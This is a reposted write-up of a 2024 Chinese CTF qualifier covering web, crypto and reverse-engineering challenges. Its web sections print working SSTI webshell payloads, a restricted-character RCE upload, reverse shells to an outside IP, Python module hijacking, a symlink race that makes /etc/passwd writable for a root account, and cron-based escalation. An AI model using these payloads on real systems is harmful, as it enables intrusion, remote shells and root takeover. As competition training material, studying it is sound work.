首页 > 其他分享 >2024 第七届“巅峰极客”网络安全技能挑战赛初赛 wp

2024 第七届“巅峰极客”网络安全技能挑战赛初赛 wp

时间:2024-10-08 09:11:01浏览次数:1  
标签:__ 极客 sandbox 初赛 2024 flag import root id

WEB

EncirclingGame

题目描述:A simple game, enjoy it and get the flag when you complete it.开题,前端小游戏,红点出不去就行
image-20240817132551392

直接玩通关了
image-20240817133147345

看看如何不玩也能拿到flag,flag存储在后端php文件内,前端找不到。看一下游戏的请求包,里面记录了红点的最后位置和防火墙(黑点)的位置。
image-20240817134012060

那么我们伪造下,防火墙绕满周围一圈,但是红点在最中间。路由:/verifyVictory.php
方法:POST{"gameState":{"virusPosition":{"x":5,"y":5},"firewalls":[{"x": 0, "y": 0}, {"x": 1, "y": 0}, {"x": 2, "y": 0}, {"x": 3, "y": 0}, {"x": 4, "y": 0},{"x": 5, "y": 0}, {"x": 6, "y": 0}, {"x": 7, "y": 0}, {"x": 8, "y": 0}, {"x": 9, "y": 0}, {"x": 10, "y": 0}, {"x": 0, "y": 10}, {"x": 1, "y": 10}, {"x": 2, "y": 10}, {"x": 3, "y": 10}, {"x": 4, "y": 10}, {"x": 5, "y": 10}, {"x": 6, "y": 10}, {"x": 7, "y": 10}, {"x": 8, "y": 10}, {"x": 9, "y": 10}, {"x": 10, "y": 10}, {"x": 0, "y": 1}, {"x": 0, "y": 2}, {"x": 0, "y": 3}, {"x": 0, "y": 4}, {"x": 0, "y": 5}, {"x": 0, "y": 6}, {"x": 0, "y": 7}, {"x": 0, "y": 8}, {"x": 0, "y": 9}, {"x": 10, "y": 1}, {"x": 10, "y": 2}, {"x": 10, "y": 3}, {"x": 10, "y": 4}, {"x": 10, "y": 5}, {"x": 10, "y": 6}, {"x": 10, "y": 7}, {"x": 10, "y": 8}, {"x": 10, "y": 9}]},"token":"game-lab-token"}image-20240817134619754

GoldenHornKing

题目描述:举一反三。开题,直接给了源码image-20240817122126538
import os  # 导入操作系统相关的模块import jinja2  # 导入 Jinja2 模板引擎模块import functools  # 导入工具函数模块,提供高阶函数import uvicorn  # 导入 Uvicorn,用于运行 ASGI 应用from fastapi import FastAPI  # 从 FastAPI 库中导入 FastAPI 类,用于创建应用from fastapi.templating import Jinja2Templates  # 从 FastAPI 导入 Jinja2Templates,用于模板渲染from anyio import fail_after, sleep  # 从 anyio 库中导入 fail_after 用于设置超时,以及 sleep 用于异步睡眠
# 指定所使用的库的版本:# jinja2==3.1.2# uvicorn==0.30.5# fastapi==0.112.0
def timeout_after(timeout: int = 1):  # 定义一个超时装饰器,默认超时时间为1秒    def decorator(func):  # 接收一个函数作为参数        @functools.wraps(func)  # 保留被装饰函数的元信息        async def wrapper(*args, **kwargs):  # 定义一个异步包装函数            with fail_after(timeout):  # 在指定的超时时间内执行被装饰的函数                return await func(*args, **kwargs)  # 等待并返回被装饰函数的执行结果        return wrapper  # 返回包装函数
    return decorator  # 返回装饰器函数
app = FastAPI()  # 创建一个 FastAPI 应用实例access = False  # 定义一个全局变量,用于控制访问权限
_base_path = os.path.dirname(os.path.abspath(__file__))  # 获取当前文件的绝对路径,并提取其目录路径t = Jinja2Templates(directory=_base_path)  # 创建一个 Jinja2Templates 实例,指定模板文件的目录
@app.get("/")  # 定义一个处理根路径的 GET 请求的路由@timeout_after(1)  # 使用超时装饰器,设置超时时间为1秒async def index():  # 定义异步处理函数    return open(__file__, 'r').read()  # 打开当前文件并读取其内容,作为响应返回
@app.get("/calc")  # 定义一个处理 /calc 路径的 GET 请求的路由@timeout_after(1)  # 使用超时装饰器,设置超时时间为1秒async def ssti(calc_req: str):  # 定义异步处理函数,接收一个字符串参数 calc_req    global access  # 声明使用全局变量 access    if (any(char.isdigit() for char in calc_req)) or ("%\" in calc_req) or not calc_req.isascii() or access:        # 检查 calc_req 中是否包含数字字符,或者包含字符 '%',或者是否全为 ASCII 字符,或者 access 为 True        return "bad char"  # 如果满足上述任意条件,返回 "bad char"    else:        jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})        # 使用 Jinja2 模板引擎渲染 calc_req 表达式,传递 app 对象作为上下文        access = True  # 设置 access 为 True,限制进一步访问    return "fight"  # 返回 "fight"
if __name__ == "__main__":  # 判断是否为主程序入口    uvicorn.run(app, host="0.0.0.0", port=8000)  # 使用 Uvicorn 运行应用,监听所有网络接口的8000端口是一个jinja2的SSTI,限制是不能包含数字字符,或者包含字符 '%',或者是全为 ASCII 字符,或者 access 为 True同时,只要一次access 为 True后便无法再次输入,得重启环境(好像有点似曾相识,NSS round20我也这样子出题的仓库里翻一个内存马出来方法1:#直接访问/shell路由app.add_url_rule('/flag',lambda:__import__('os').popen('cat /flag').read())转为SSTIpayload应该如下,由于是FastAPI,add_url_rule换成add_api_route。同时绕过了题目限制{{config.__class__.__init__.__globals__['__builtins__'].eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/flag', lambda:__import__('os').popen('cat /flag').read())")}}payload:/calc?calc_req=config.__class__.__init__.__globals__['__builtins__'].eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/flag',lambda:__import__('os').popen('cat /flag').read())")image-20240817200659420访问flag路由读取flagimage-20240817200716896

方法2:打内存马进行rce

打FastAPI内存马,在FastAPI类有一个add_api_route方法,我们可以通过这个方法来增加一个路由,进行rce

app.add_api_route('/shell', lambda: __import__('os').popen('whoami').read())

我们需要再eval里重新获取一遍app也就是FastAPI的对象。

__import__('sys').modules['__main__'].__dict__['app']

  1. sys.modules:sys 模块中有一个名为 modules 的字典,它维护了所有已导入模块的当前状态。这个字典的键是模块的名称,而值是对应的模块对象。
  2. modules['__main__']:__main__ 是运行 Python 程序的主模块,无论是直接从命令行运行的脚本,还是通过某个执行环境运行的代码。通过 sys.modules['__main__'],我们获取到了当前执行程序的主模块对象。
  3. __dict__:每个模块对象都有一个 __dict__ 属性,它是一个字典,包含了模块内定义的所有全局变量和函数。
  4. ['app']:最后,从模块的 __dict__ 中获取名为 app 的对象。

然后整合以下payload:

app.__init__.__globals__.__builtins__.eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/shell', lambda :__import__('os').popen('cat /flag').read())")

现在访问/shell就可以拿到flag了

方法3:修改__file__进行任意文件读取p

@app.get("/")
@timeout_after(1)
async def index():
return open(__file__).read()

在跟路由读取了当前代码文件内容,并输出到网页上。那么如果我们能修改__file__为/flag那么访问根路由就能拿到flag了。

__file__在全局变量globals里有

使用setattr(object, name, value)方法修改对象的属性值。

object -- 对象。
name -- 字符串,对象属性。
value -- 属性值。

Q:为什么不用__import__('sys').modules['__main__'].__dict__,__file__明明在这里面啊?

A:因为setattr函数的第一个值是一个对象,__dict__是__main__的一个属性,并不是一个对象。

整合一下payload:

admin_Test

题目描述:某系统有一个后台管理系统,里面的系统可以帮助管理员更好的管理系统并且防护来自于黑客的攻击,但仍存在漏洞,请尝试读取到系统当中的flag文件。开题,是一个登录框,没有注册选项image-20240817120527144
扫一下敏感目录:/admin.html/upload.php/admin.html路由具备一个文件上传功能和一个命令输入框image-20240817214352183
上传时一直显示Invalid char,经过几次发包尝试,应该是对上传的命令字符串做了限制,大概率是单个字母的过滤。单个字母跑一下题目waf

命令部分fuzz出来的可用字符为t * . /,一眼执行临时文件. /t*/*

参考无字母数字rce(ctfshow web入门56)_过滤所有字母和数字的rce-CSDN博客

只允许t、/、.、image-20240817214855339
同时文件部分一律无法上传。看到白名单字符大概有头绪了,CTFSHOW永远的神!在PHP中,强制上传文件时,文件会被存在临时文件/tmp/phpxxxxxx中这个文件最后六位xxxxxx有大小写字母、数字组成,是生命周期只在PHP代码运行时。故我们要匹配/tmp/phpxxxxxx的话可以用通配符/???/?????????,也可以使用/t*/*文件上传时输入的命令会被执行,能调用到上传的文件(内容是命令)就行payload:------WebKitFormBoundarynjB2WAcSH6J6HmiqContent-Disposition: form-data; name="file"; filename="myshell.php"Content-Type: application/octet-stream
【要执行的命令】------WebKitFormBoundarynjB2WAcSH6J6HmiqContent-Disposition: form-data; name="cmd"
. /t*/*------WebKitFormBoundarynjB2WAcSH6J6Hmiq--flag没权限读,需要提权image-20240817220808173
find提权即可find / -user root -perm -4000 -print 2>/dev/nullfind /tmp -exec cat /flag \;image-20240817220954102

php_online

题目描述:can you break this sandbox?附件给了源码:from flask import Flask, request, session, redirect, url_for, render_templateimport osimport secrets
app = Flask(__name__)  # 创建一个 Flask 应用实例app.secret_key = secrets.token_hex(16)  # 为 Flask 应用设置一个随机生成的秘密密钥,用于会话管理working_id = []  # 定义一个空列表,用于跟踪当前正在处理的用户ID
@app.route('/', methods=['GET', 'POST'])  # 定义根路由,支持 GET 和 POST 请求def index():  # 定义处理该路由的函数    if request.method == 'POST':  # 如果请求方法是 POST        id = request.form['id']  # 获取表单中提交的 id        if not id.isalnum() or len(id) != 8:  # 检查 id 是否为字母数字组合且长度为8            return '无效的ID'  # 如果 id 不符合条件,返回“无效的ID”消息        session['id'] = id  # 将 id 存储在用户的会话中        if not os.path.exists(f'/sandbox/{id}'):  # 如果沙箱目录中不存在该 id 的文件夹            os.popen(f'mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}').read()            # 创建该文件夹,并设置权限为 www-data 用户所有,且所有用户都有写权限        return redirect(url_for('sandbox'))  # 重定向到 /sandbox 路由    return render_template('submit_id.html')  # 如果请求方法是 GET,渲染 submit_id.html 模板
@app.route('/sandbox', methods=['GET', 'POST'])  # 定义 /sandbox 路由,支持 GET 和 POST 请求def sandbox():  # 定义处理该路由的函数    if request.method == 'GET':  # 如果请求方法是 GET        if 'id' not in session:  # 如果会话中没有 id            return redirect(url_for('index'))  # 重定向到根路由        else:            return render_template('submit_code.html')  # 渲染 submit_code.html 模板    if request.method == 'POST':  # 如果请求方法是 POST        if 'id' not in session:  # 如果会话中没有 id            return 'no id'  # 返回 “no id” 消息        user_id = session['id']  # 从会话中获取用户的 id        if user_id in working_id:  # 检查用户 id 是否已经在运行任务            return 'task is still running'  # 返回“任务仍在运行”消息        else:            working_id.append(user_id)  # 将用户 id 添加到正在运行的任务列表中            code = request.form.get('code')  # 获取提交的代码            os.popen(f'cd /sandbox/{user_id} && rm *').read()  # 删除用户沙箱目录中的所有文件            os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()            # 将 init.py 文件复制到用户的沙箱目录中,并以 www-data 用户执行            os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read()  # 删除沙箱目录中的 phpcode 文件                        php_file = open(f'/sandbox/{user_id}/phpcode', 'w')  # 创建一个新的 phpcode 文件            php_file.write(code)  # 将提交的代码写入该文件            php_file.close()  # 关闭文件
            result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read()  # 以 nobody 用户执行该 PHP 代码,并获取结果            os.popen(f'cd /sandbox/{user_id} && rm *').read()  # 执行后删除所有文件            working_id.remove(user_id)  # 从运行中的任务列表中移除该用户 id
            return result  # 返回执行结果
if __name__ == '__main__':  # 如果当前模块是主程序    app.run(debug=False, host='0.0.0.0', port=80)  # 启动 Flask 应用,关闭调试模式,在所有网络接口上监听,使用80端口

开题,需要先输入一个八位的有数字和字母组成的ID,这里采用Jay17aaaimage-20240817112919545

之后可以执行任意php代码,无法直接读取flag,无法出网
total 68drwxr-xr-x  1 root      root    4096 Aug 17 03:22 .drwxr-xr-x  1 root      root    4096 Aug 17 03:22 ..drwxr-xr-x  1 root      root    4096 Aug 14 09:10 applrwxrwxrwx  1 root      root       7 Oct  6 2021 bin -> usr/bindrwxr-xr-x  2 root      root    4096 Apr 15 2020 bootdrwxr-xr-x  5 root      root     380 Aug 17 03:22 devdrwxr-xr-x  1 root      root    4096 Aug 14 09:09 etc-rwx------  1 root      root      42 Aug 17 03:22 flagdrwxr-xr-x  2 root      root    4096 Apr 15 2020 homelrwxrwxrwx  1 root      root       7 Oct  6 2021 lib -> usr/liblrwxrwxrwx  1 root      root       9 Oct  6 2021 lib32 -> usr/lib32lrwxrwxrwx  1 root      root       9 Oct  6 2021 lib64 -> usr/lib64lrwxrwxrwx  1 root      root      10 Oct  6 2021 libx32 -> usr/libx32drwxr-xr-x  2 root      root    4096 Oct  6 2021 mediadrwxr-xr-x  2 root      root    4096 Oct  6 2021 mntdrwxr-xr-x  2 root      root    4096 Oct  6 2021 optdr-xr-xr-x 187 root      root       0 Aug 17 03:22 procdrwx------  2 root      root    4096 Oct  6 2021 rootdrwxr-xr-x  1 root      root    4096 Aug 17 03:22 rundrwxr-xr-x  1 www-data  root    4096 Aug 17 03:28 sandboxlrwxrwxrwx  1 root      root       8 Oct  6 2021 sbin -> usr/sbindrwxr-xr-x  2 root      root    4096 Oct  6 2021 srvdr-xr-xr-x 13 root      root       0 Aug 17 03:22 sysdrwxrwxrwt  1 root      root    4096 Aug 17 03:39 tmpdrwxr-xr-x  1 root      root    4096 Oct  6 2021 usrdrwxr-xr-x  1 root      root    4096 Oct  6 2021 varimage-20240817222029549
import logging logger.info('Code execution start')同时目前用户的权限极低image-20240817114059773

信息搜集差不多这样子了,开始做题。我们三步走,每一步标题加粗高亮第一步,反弹shell起一个test1111用户不能直接弹<?phpsystem('bash -i >& /dev/tcp/124.71.147.99/1717 0>&1');以下两种方式都可以<?phpsystem('bash -c "bash -i >& /dev/tcp/124.71.147.99/1717 0>&1"');<?phpsystem('php -r \'$sock=fsockopen("124.71.147.99",1717);exec("sh <&3 >&3 2>&3");\'');?>image-20240817232037868由于源码sudo -u nobody php phpcode来起php服务,用php反弹shell用户只能是nobody第二步,通过python拿下www-data权限方法一:在反弹shell时候,由于/sandbox/{user_id}有权限,可以直接写python文件<?phpsystem('rm init.py;mkdir init.py;chmod 777 init.py;ls init.py/');file_put_contents("init.py/__main__.py","import os\nos.system('bash -c \"bash -i >& /dev/tcp/124.71.147.99/1717 0>&1\"')");image-20240817232906798
方法二:init.py(源码在上文) 开头import logging导入了logging库,但是同目录下具有logging.py的话,会优先应用目录下logging.py文件;如果同目录下具备logging文件夹的话,会优先应用logging文件夹下的__init__.py文件。方法二-①:条件竞争在nobody的shell下执行命令echo "__import__('os').popen('bash -c \"bash -i >& /dev/tcp/124.71.147.99/1717 0>&1\"')" > /tmp/logging.pyecho "while true; do" >> /tmp/exp.shecho "cp /tmp/logging.py /sandbox/test2222/logging.py" >> /tmp/exp.shecho "done" >> /tmp/exp.shchmod +x /tmp/exp.shsh /tmp/exp.sh源码:sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py创建一个test2222用户,随便执行一点代码,一直在运行的文件写入以便触发题目源码中的sudo -u www-data python3 init.py语句运行恶意/sandbox/test2222/logging.py后反弹shell,发现成功变为www-data权限image-20240818000323647
image-20240818000340769
方法二-②:直接创建一个logging/__init__.py劫持先创建一个test3333用户在nobody的shell下执行命令(这个shell端口1717)mkdir /sandbox/test3333/logging/echo "import os" >> /sandbox/test3333/logging/__init__.pyecho "os.system('bash -c \"bash -i >& /dev/tcp/124.71.147.99/1718 0>&1\"')" >> /sandbox/test3333/logging/__init__.pyimage-20240817235401516
在test3333用户任意执行代码,同时开启监听(端口1718)image-20240817235501710

第三步,提权root读flag有了www用户权限后,我们可以通过两种方式提权读flag。方法一:条件竞争修改文件权限,passwd提权读取flagLinux sudo 提权之软链接攻击 - sparkchans - 博客园 (cnblogs.com)注意源码有一句(注意python的权限是root)mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}本意是创建目录并且修改权限。同时mkdir和chmod两个命令不是同时执行的在mkdir和chmod两个命令之间如果执行了以下命令:ln -s /etc/passwd /sandbox/test4444rm -rf /sandbox/test4444那么chmod a+w /sandbox/test4444这条命令修改的权限就不再是/sandbox/test4444而是/etc/passwd由于mkdir和chmod两个命令执行时间间隔太短,我们需要用条件竞争来达到上述的设想,操作如下:www-data的shell执行命令(while true死循环一直执行)while true; do ln -s /etc/passwd /sandbox/test4444; rm -rf /etc/passwd; doneyakit发包,无用参数爆破实现循环发包创建test4444用户POST:id=test4444&17={{payload(pass1,top1000,pass2)}}image-20240818124758802稍等一会,就能发现/etc/passwd的权限变为可以修改了。那么接下来就是/etc/passwd提权(唯一条件是/etc/passwd文件可写)image-20240818125500332生成带有salt的密码advwtv/9yU5yQ:#利用openssl生成加密的密码, 语法:openssl passwd-1-salt[salt value]passwordopenssl passwd -1 -salt user3 pass123#mkpasswd类似于openssl passwd,它将生成指定密码字符串的哈希值。mkpasswd -m SHA-512 pass#利用python中的crypt库生成python -c 'import crypt; print crypt.crypt("pass", "$6$salt")'image-20240818125036268#利用Perl和crypt来使用salt值为我们的密码生成哈希值perl -le 'print crypt("pass123", "abc")'#php语言php -r "print(crypt('aarti','123') . " ");"perl -le 'print crypt("password@123","addedsalt")'然后执行下面这条命令,成功将Jay17用户的信息加入 /etc/passwd 文件echo "Jay17:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwdimage-20240818130332588
image-20240818130533062

以用户名:Jay17 密码: password@123 登录主机,登录成功后,是 root 权限。ssh [email protected]image-20240818130653697image-20240818130704197
有了root权限后就可以读取flag了。方法二:定时任务提权root读取flag首先介绍下定时任务可以使用 crontab -e 命令来编辑用户的定时任务列表。crontab -e这将打开用户的 crontab 文件,你可以在其中添加定时任务。定时任务的格式如下:* * * * * 【command_to_execute】每个字段的含义依次为:分钟(0-59) 小时(0-23) 日(1-31) 月(1-12) 星期几(0-7, 0和7表示星期日)例如,想每天凌晨 3:30 运行一个脚本 /path/to/script.sh,可以在 crontab 中添加以下行:30 3 * * * /path/to/script.sh也可以在 /etc/cron.d/ 目录下创建一个文件,并在其中定义定时任务。这种方式适用于系统级的定时任务,文件中的格式和 crontab 文件类似,但每行的格式为:minute hour day month day_of_week user command例如:30 3 * * * root /path/to/script.sh继续做题。可以通过命令crontab -l查看当前用户的定时任务。但是题目shell是www-data,看不到root用户的定时任务(以下为VPS测试结果)image-20240818134045642
执行命令ps -ef列出所有正在运行的进程,并以较为详细的格式显示这些进程的信息。大头哥通过CMD(系统启动命令行)来判断是否有定时任务(/usr/sbin/cron)image-20240818133631239
常见定时任务存放目录:/etc/cron.d/etc/crontab/var/spool/cron/crontabs/etc/cron.hourly/etc/cron.daily/etc/cron.weekly/etc/cron.monthly本题是/etc/cron.d,创建用户test5555,创建软连接ln -s /etc/cron.d /sandbox/test5555前端phpcode写入内容:* * * * * root cat /flag > /tmp/flag# <?php sleep(1000);?>* * * * * root cat /flag>/tmp/111#<?php while(1){echo 1;};?>二选一都可以,两者的php代码都是避免rm *将/sandbox/test5555/phpcode文件删除太快而定时任务未正常运行。前者是sleep,php执行就得花一秒,后者是死循环执行。同时,两者由于软连接到定时任务,所以当作定时任务执行时#注释了php代码不影响定时任务;同时在作为php执行时,由于文件头<?php的作用,前面的定时任务不会被认为是php代码

Crypto

backdoorplus

题目主体是一个ECDSA,最后又进行了RSA的加密过程,要想解RSA需要得到p,也就是k2的值。k1 = random_k
z = (k1 - w * t) * G + (-a * k1 - b) * Y
#Y = X * G
#t = 1
#z = k1G - wG - ak1XG -bXG
zx = z.x() % n
k2 = int(hashlib.sha1(str(zx).encode()).hexdigest(), 16)a = 751818
b = 1155982
w = 908970521
x = 20391992
sig_r = 6052579169727414254054653383715281797417510994285530927615
p = generator_192.curve().p()
E_a = generator_192.curve().a()
b = generator_192.curve().b()
E = EllipticCurve(GF(p),[E_a,b])
G = E([generator_192.x(), generator_192.y()])
k1G = E.lift_x(sig_r)
z = k1G - w*G - a*x*k1G -b*x*G
n = G.order()
zx = int(z[0]) % n
k2 = int(hashlib.sha1(str(zx).encode()).hexdigest(), 16)这里可以使用恶意签名验证一下k2是否正确:
p1 = k2 * G
r = int(p1[0]) % n
print(r)
#3839784391338849056467977882403235863760503590134852141664
然后根据题目的生成过程恢复p,q求解RSA,但是注意到m小于n部分信息丢失尝试爆破。p = k2
for i in range(99):
    p = gmpy2.next_prime(p)
q = gmpy2.next_prime(p)
n = p * q
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m=int(pow(c,d,n))
# print(long_to_bytes(m))
for i in trange(99999):
    m += n
    if b'flag' in long_to_bytes(m):
        print(long_to_bytes(m))
完整脚本:
from sage.all import*
from ecdsa import *
from Crypto.Util.number import *
import gmpy2 
import hashlib

a = 751818
b = 1155982
w = 908970521
x = 20391992
sig_r = 6052579169727414254054653383715281797417510994285530927615
c = 1294716523385880392710224476578009870292343123062352402869702505110652244504101007338338248714943
e = 65537
p = generator_192.curve().p()
E_a = generator_192.curve().a()
E_b = generator_192.curve().b()
E = EllipticCurve(GF(p),[E_a,E_b])
G = E([generator_192.x(), generator_192.y()])
k1G = E.lift_x(sig_r)
z = k1G - w*G - a*x*k1G -b*x*G
n = G.order()
zx = int(z[0]) % n
k2 = int(hashlib.sha1(str(zx).encode()).hexdigest(), 16)

p = k2
for i in range(99):
    p = gmpy2.next_prime(p)
q = gmpy2.next_prime(p)
n = p * q
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m=int(pow(c,d,n))
# print(long_to_bytes(m))
for i in trange(99999):
    m += n
    if b'flag' in long_to_bytes(m):
        print(long_to_bytes(m))
#flag{0c75afae-f8ad-4df1-b2d9-a9ca348cb226}

RE

BabyRe

输入flag{test},动调跟踪流程。

检测输入格式,允许数字、小写字母、'-'、'{}'。

逐位作为开头取3字节,计算得32位哈希(sha256),再将哈希值与取的3字节逐位异或,将每次得到32位加密数据组合成字符串:

xor(hash("fla"),"fla")

xor(hash("lag"),"lag")

xor(hash("ag{"),"ag{")

xor(hash("g{t"),"g{t")

xor(hash("st}"),"st}")

最后进行check与密文比较,字符串总长1280,flag长度为1280/32=40。

解密思路:

flag{}是固定的,一组密文在前2位固定的情况下只取决于第三位,提取出密文后逐位爆破即可。

import hashlib
cipher = "EB74464F7924C56210CBFFC5A239BE0399ED2C8FB9542BA7C58A7E560F352CA03EE5E00A6EA938CF85F882C799D78BC682225428F4E556D047F15E5766855C04660DC72181954CF9976E5705CBAA483D2AAB5A69283D68E4F74C23CFA8C226D0F941E7F4FF9960F1DA677E9DBF9814B5B3E2D799074AC0120F212F3A52C37FE335D56DB4BD214600049F7F950C01FABD8625065607304F17AEF3C0F0177F9B3EBDE5663346606CB307F1645F006DB088F34F7D44BE9543A1393B29506D1D31814460FE7BAC48BDBB8E354128E7535CE73B1618C594D9D1B9BF7148A7D77077E9A7FFA0BE1CFA9800FE3364F9E7304557974045E0C950B8F3444432C16AB7DDEE371F6026FA2D6FC143598A9EE9E12736EABD515BAE24BB03E4C062DDC263F4A18C3E5C10A4CC88E19B04592B864AC883D8B994EEB2C46496B3416B000C9A344A4F3CF2C30DA6DD57B7D3701CDCB9418EAE8A0470C2AD2668ECF0E3AE6B6A29F6AE3C23E30F42571DFC507171D173F928718E2A5D18C43F7A5B20E125A6421EFBEFA5034BF44B5E66EF90124EE2CFFD9AACE7C49356A64ADFFBA0D44D29B125AB8E98386ED91129B0197AE9A642C173578EFD4784D1EE087CE765A714640F9AA867A4AD879229F1712037D522B5226B2DC7440EFCB753EC8A52C29CF1FB9BD85FA65FDA70B1261E143F9406D00D90AA0F55310652F3F908D7C1E5A841F77EBD3014FCA23CB223F8915D7730AFC7276F1C0FC7EA33A3083553D2684D964EC7E4A9205DEE6FCFEADA8B589CF48326AF2DEBF56DB42A4DFDF74BF9CB0A34BFD97B90B83E17E31FE0A48B54C94AC4175B46302D5E8B38D7CB42E618AEC9197D43B1B36891A18CDC5CA57F20284187FE6988D860ED46076F779B088D2FA78A798A55DCC6E657E8B101A23B9F8ADE02F696D905F63C626C3E07FD06002B2030B20FAFF02625D9B875A4B74DD421CCB5411CC309EBE7CC75BED408F9F486E6CFFF4F14AC36DFFB643C2721A3AD4CA95415D59CF3C3EE85FF75F2BC6FFD1FC09499544B7218F5937E8B73C7764DEBC840266B14F3D049AE9511AB135CC764C5C6F10C87C087BC8D3181D7470630D4A983FE401F46C99F4A52D81E8D4146211BFA28AE52C9D0E3974AFB2D830F443136F4464DDFEFA30688BE27A8A0158A85B8040C2C04598F2111751D296F862FFEBC2FB50D6530FE6C09D70F54664ED2F2C44365D647B3E6D5BB45707C8B18C8A248B153309605B34ED9CEF42172114F52AE47E8063131EFB2F1AD55868D648722111B00CFE2132463F9659AA1F8298ED2FBD1239071DC3ACF63661C77A5ACBB54410FF3F7CFA1701040BD2D2C8F721A37E310A84605845E7202DB021B2346A1BB920AE80DD0066F05A0524BC80339ED9932542883473FEFCA18C1C8B8C9B0E31B7169BAC1F1B9697B2799BDB869006C16C49B77525AB7546FE3345E5F01A5E248FB966B7592D2A0DA0BED3E27F6C789647FDE73F59258FFC6A638758661126FC03D24226DA7295EBDF50C52D96631B5804D02CDF2DC89FA6063CA2D00953200BED4BF734CEDBA0C56A185C46CB60ABCDD8C611E4203B4E0F217FA14389FB1A49C03180CC616C730FA48B1B96EB17D7B3BDFD9B6A7D646A57C976DD592A3F022A15399A1C37140E1897B231918DC2F2257DD2CC33FADEF99939CE9EB676674458ED487984E9F8D2C7DF23D8093940FEAB586D0E674B6B2416125DED9C2386A247F1D87BAD1CAB640579EAE3050FFD0A8AEDF52254AA5E9186F060C97150EC26626CC8451C47569764B281667A54428E096A20A5D81EB4D"
cipher = [cipher[i:i+64]for i in range(0, len(cipher), 64)]

def encrypt(data):
    data_bytes = data.encode()
    hash = hashlib.sha256()
    hash.update(data_bytes)
    enc = list(hash.digest())
    for i in range(len(enc)):
        enc[i] = enc[i] ^ data_bytes[i % len(data_bytes)]
    result = bytes(enc).hex().upper()
    return result

flag = "flag{"
table = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
for i in range(3,40):
    for c in table:
        for e in cipher:
            str = flag[i] + flag[i+1] + c
            str_enc = encrypt(str)
            #print(str + ' : ' + str_enc)
            #print(e)
            if(str_enc == e):
                flag += c
                #print(c)
print(flag)

flag{194a39a4-7937-48fb-bfea-80bd17729f8a}

题目附件下载地址:链接: https://pan.baidu.com/s/1z0y15pyIQpk6UwjKsLe2Uw 提取码: vt9r
原文转载参考地址:
https://blog.csdn.net/Jayjay___/article/details/141889724 https://mp.weixin.qq.com/s/yL1juVC8FeOq4gI5Pb-DUA?ref=www.ctfiot.comhttps://mp.weixin.qq.com/s/yL1juVC8FeOq4gI5Pb-DUA?ref=www.ctfiot.com

标签:__,极客,sandbox,初赛,2024,flag,import,root,id
From: https://www.cnblogs.com/backlion/p/18450999

相关文章

  • ChatGPT国内中文版镜像网站整理合集(2024/10/06)
    一、GPT中文镜像站①https://tz.zhufushipinzhizuo.com/17.html#:~:text=2024%E5%B9%B410%E6%9C%88%E6%9C%80%E6%96%B0 支持GPT4、4o以及o11.什么是镜像站镜像站(MirrorSite)是指通过复制原始网站内容和结构,创建的备用网站。其主要目的是在原始网站无法访问时,提供相同或类......
  • 2024.10.7
    您提供的代码是用于管理token的一组函数,适用于使用uni-app开发的项目。以下是对每个函数的解释:代码分析constTokenKey='App-Token'//获取TokenexportfunctiongetToken(){returnuni.getStorageSync(TokenKey)//从本地存储中获取token}//设置Tokenexp......
  • 20222420 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    1.实验内容1.1学习内容总结1.1.1初步了解缓冲区溢出漏洞首先学习了安全漏洞的相关概念,然后聚焦在其中的缓冲区溢出漏洞上。学习了缓冲区溢出漏洞相关的定义和发生的原因,并了解了缓冲区溢出发展历史上的经典攻击,如红色代码蠕虫、冲击波病毒、震荡波病毒、心脏出血、乌克兰断网......
  • 2024.9
    1.ARC130EIncreasingMinimum好莫名奇妙的题,不知道省选前为啥没做出来。直接变成分段问题:第\(i\)段的表示说这些元素在遍历到(没有做加法前)取值都为\(i\)。一个合法的分段方式需要满足:\(x\)在一个段里不重复出现。若\(x\)在第\(i\)段出现,则必须在\(j\gti\)段......
  • 2024 10.5&10.6 模拟赛总结
    202410.5&10.6模拟赛总结一句话总结:打的稀烂。10.6\(T1\)没什么好说的。\(T2\)是我不喜欢的类型。首先看到前\(K\)大马上就想到了二分和堆,但是想了半天也不知道堆怎么由一种状态推广到多种状态,并且要不重不漏、效率高,二分也没想出来怎么\(check\)。赛后听了评讲才发现堆......
  • 2024.10.05 刷题记录
    2024.10.05刷题记录P7597「EZEC-8」猜树加强版不难发现\(u\)的儿子的条件是在\(u\)的子树内且深度比\(u\)恰好大\(1\)。每次询问子树内的所有节点深度或许可以解决此题,但询问次数达到了\(n^2\)。在\(u\)的子树内,如果知道所属其他儿子的子树的节点,知道属于\(u\)......
  • 多校A层冲刺NOIP2024模拟赛03
    A.五彩斑斓没办法,不会统计四个点相同的,赛时没想到,写了一个神秘算法骗了80考虑倒着计算,总子矩阵有\(\frac{n(n+1)*m(m+1)}{4}\)个,减去四个角相同的矩阵数量就是答案,枚举矩阵的上下边界两条线再枚举每一列,会有两个交点,统计每种颜色的上下交点颜色一样的个数,就可以计算了点击......
  • 20241007
    sequence我们会发现,我们每次删的一定是长度最短的那个,所以我们可以最开始按照长的排一下序,然后用线段树维护每一个区间中还有几个数,每次加上答案后在两个端点打上标记即可#include<bits/stdc++.h>#define_1(__int128)1usingnamespacestd;usingll=longlong;vo......
  • 2024.10.7 鲜花
    【UNR#3】百鸽笼花の塔君が持ってきた漫画くれた知らない名前のお花今日はまだ来ないかな?初めての感情知ってしまった窓に飾った絵画をなぞってひとりで宇宙を旅してそれだけでいいはずだったのに君の手を握ってしまったら孤独を知らないこの街にはもう二度と帰ってく......
  • 2024CCPC山东省赛补题记录
